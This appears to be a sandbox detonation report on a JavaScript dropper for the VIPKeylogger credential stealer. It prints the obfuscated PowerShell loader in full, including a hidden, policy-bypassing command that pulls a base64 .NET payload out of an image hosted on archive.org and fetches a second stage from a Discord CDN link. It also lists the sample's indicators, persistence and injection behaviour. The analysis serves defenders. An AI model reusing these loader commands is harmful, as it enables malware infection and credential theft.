⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBt⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄YQBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄By⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄bgBn⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bi⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄cwBl⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄BD⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄bwBh⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBk⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄cwBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBi⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄eQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄D0⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄FM⼞ ⋄ ⍃ ⨞ ❄eQBz⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄UgBl⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bg⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄cwBz⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄bQBi⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄eQBd⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄OgBM⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄bQBt⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄EI⼞ ⋄ ⍃ ⨞ ❄eQB0⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄cw⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ds⼞ ⋄ ⍃ ⨞ ❄J⼞ ⋄ ⍃ ⨞ ❄B0⼞ ⋄ ⍃ ⨞ ❄Hk⼞ ⋄ ⍃ ⨞ ❄c⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄QQBz⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄RwBl⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄V⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄Bu⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄aQBi⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄SQBP⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄S⼞ ⋄ ⍃ ⨞ ❄Bv⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄Ow⼞ ⋄ ⍃ ⨞ ❄k⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄bwBk⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄PQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄B5⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄Ec⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄E0⼞ ⋄ ⍃ ⨞ ❄ZQB0⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄bwBk⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄JwBW⼞ ⋄ ⍃ ⨞ ❄EE⼞ ⋄ ⍃ ⨞ ❄SQ⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄LgBJ⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄dgBv⼞ ⋄ ⍃ ⨞ ❄Gs⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄o⼞ ⋄ ⍃ ⨞ ❄CQ⼞ ⋄ ⍃ ⨞ ❄bgB1⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄WwBv⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄agBl⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bb⼞ ⋄ ⍃ ⨞ ❄F0⼞ ⋄ ⍃ ⨞ ❄XQ⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cg⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄m⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄MQBi⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄ZgBk⼞ ⋄ ⍃ ⨞ ❄Dg⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄MwBk⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄Yg⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄MQBi⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄MQBj⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄NwBh⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄Bm⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄OQ⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DQ⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄GY⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄GI⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄NgBl⼞ ⋄ ⍃ ⨞ ❄DU⼞ ⋄ ⍃ ⨞ ❄PQBt⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄JgBj⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄Bj⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Yw⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄PQBz⼞ ⋄ ⍃ ⨞ ❄Gk⼞ ⋄ ⍃ ⨞ ❄JgBj⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄NQ⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Z⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄PQB4⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄PwB0⼞ ⋄ ⍃ ⨞ ❄Hg⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄Eo⼞ ⋄ ⍃ ⨞ ❄Sg⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄O⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄1⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄MQ⼞ ⋄ ⍃ ⨞ ❄w⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄Dg⼞ ⋄ ⍃ ⨞ ❄Nw⼞ ⋄ ⍃ ⨞ ❄y⼞ ⋄ ⍃ ⨞ ❄DE⼞ ⋄ ⍃ ⨞ ❄Lw⼞ ⋄ ⍃ ⨞ ❄5⼞ ⋄ ⍃ ⨞ ❄Dk⼞ ⋄ ⍃ ⨞ ❄N⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄Mw⼞ ⋄ ⍃ ⨞ ❄0⼞ ⋄ ⍃ ⨞ ❄D⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄z⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄Ng⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DU⼞ ⋄ ⍃ ⨞ ❄OQ⼞ ⋄ ⍃ ⨞ ❄3⼞ ⋄ ⍃ ⨞ ❄Dc⼞ ⋄ ⍃ ⨞ ❄Mg⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄cwB0⼞ ⋄ ⍃ ⨞ ❄G4⼞ ⋄ ⍃ ⨞ ❄ZQBt⼞ ⋄ ⍃ ⨞ ❄Gg⼞ ⋄ ⍃ ⨞ ❄YwBh⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄bQBv⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄LgBw⼞ ⋄ ⍃ ⨞ ❄H⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBj⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄aQBk⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄bgBk⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄Lw⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄cwBw⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bo⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄JwBD⼞ ⋄ ⍃ ⨞ ❄Do⼞ ⋄ ⍃ ⨞ ❄X⼞ ⋄ ⍃ ⨞ ❄BQ⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄bwBn⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄YQBt⼞ ⋄ ⍃ ⨞ ❄EQ⼞ ⋄ ⍃ ⨞ ❄YQB0⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄X⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄L⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄g⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bl⼞ ⋄ ⍃ ⨞ ❄HI⼞ ⋄ ⍃ ⨞ ❄cgBl⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄By⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄s⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄SQBu⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bh⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄b⼞ ⋄ ⍃ ⨞ ❄BV⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄aQBs⼞ ⋄ ⍃ ⨞ ❄Cc⼞ ⋄ ⍃ ⨞ ❄L⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄n⼞ ⋄ ⍃ ⨞ ❄GQ⼞ ⋄ ⍃ ⨞ ❄ZQBz⼞ ⋄ ⍃ ⨞ ❄GE⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄HY⼞ ⋄ ⍃ ⨞ ❄YQBk⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄Jw⼞ ⋄ ⍃ ⨞ ❄p⼞ ⋄ ⍃ ⨞ ❄Ck⼞ ⋄ ⍃ ⨞ ❄';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('⼞ ⋄ ⍃ ⨞ ❄','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&91bcfd804a2673dfb54374d1c1b4c541cc5117ac50a4f497b66433fc4b66e6e5=mh&c14cec66=si&c9510d66=xe?txt.JJ/1319851109630428721/9941734063661597721/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'terrestre','InstallUtil','desativado'))"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ia601606.us.archive.org | udp |
| US | 207.241.227.86:443 | ia601606.us.archive.org | tcp |
| US | 207.241.227.86:443 | ia601606.us.archive.org | tcp |
Files
memory/2716-4-0x000007FEF594E000-0x000007FEF594F000-memory.dmp
memory/2716-5-0x000000001B270000-0x000000001B552000-memory.dmp
memory/2716-6-0x0000000002590000-0x0000000002598000-memory.dmp
memory/2716-7-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
memory/2716-8-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
memory/2716-9-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
memory/2716-10-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 7836499241e402974ba30b17edd8a18e |
| SHA1 | 310e199eadc99e8b6f26f35cd6b43ee3b2b81b33 |
| SHA256 | 4bcddd41deb6911c2942515b415445283982c802e62d7e415d6feee137dcd23e |
| SHA512 | 870e3d8303a4178aa4898b6333c697d426f7798c01701de0550fe347b4a3c909e5ae6f53886ebb653fb6b6923ec3b7f15fb0e6e0d64ac45bb22fac6d9fd1e25c |
memory/2716-16-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
memory/2716-17-0x000007FEF5690000-0x000007FEF602D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-29 05:55
Reported
2024-08-29 05:57
Platform
win10v2004-20240802-en
Max time kernel
141s
Max time network
139s
Command Line
Signatures
VIPKeylogger
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\terrestre.js" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3200 set thread context of 624 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Browser Information Discovery
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | N/A |
Processes
C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ-MR-24-09101 SPS.js"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄G0⼞ ⋄ ⍃ ⨞ ❄YQBn⼞ ⋄ ⍃ ⨞ ❄GU⼞ ⋄ ⍃ ⨞ ❄VQBy⼞ ⋄ ⍃ ⨞ ❄Gw⼞ ⋄ ⍃ ⨞ ❄I⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄9⼞ ⋄ ⍃ ⨞ ❄C⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄JwBo⼞ ⋄ ⍃ ⨞ ❄HQ⼞ ⋄ ⍃ ⨞ ❄d⼞ ⋄ ⍃ ⨞ ❄Bw⼞ ⋄ ⍃ ⨞ ❄HM⼞ ⋄ ⍃ ⨞ ❄Og⼞ ⋄ ⍃ ⨞ ❄v⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ ⍃ ⨞ ❄aQBh⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄x⼞ ⋄ ⍃ ⨞ ❄DY⼞ ⋄ ⍃ ⨞ ❄M⼞ ⋄ ⍃ ⨞ ❄⼞ ⋄ ⍃ ⨞ ❄2⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄dQBz⼞ ⋄ ⍃ ⨞ ❄C4⼞ ⋄ ⍃ ⨞ ❄YQBy⼞ ⋄ ⍃ ⨞ ❄GM⼞ ⋄ ⍃ ⨞ ❄a⼞ ⋄ ⍃ ⨞ ❄Bp⼞ ⋄ ⍃ ⨞ ❄HY⼞ ⋄ ⍃ ⨞ ❄ZQ⼞ ⋄ ⍃ ⨞ ❄u⼞ ⋄ ⍃ ⨞ ❄G8⼞ ⋄ ⍃ ⨞ ❄cgBn⼞ ⋄ ⍃ ⨞ ❄C8⼞ ⋄ 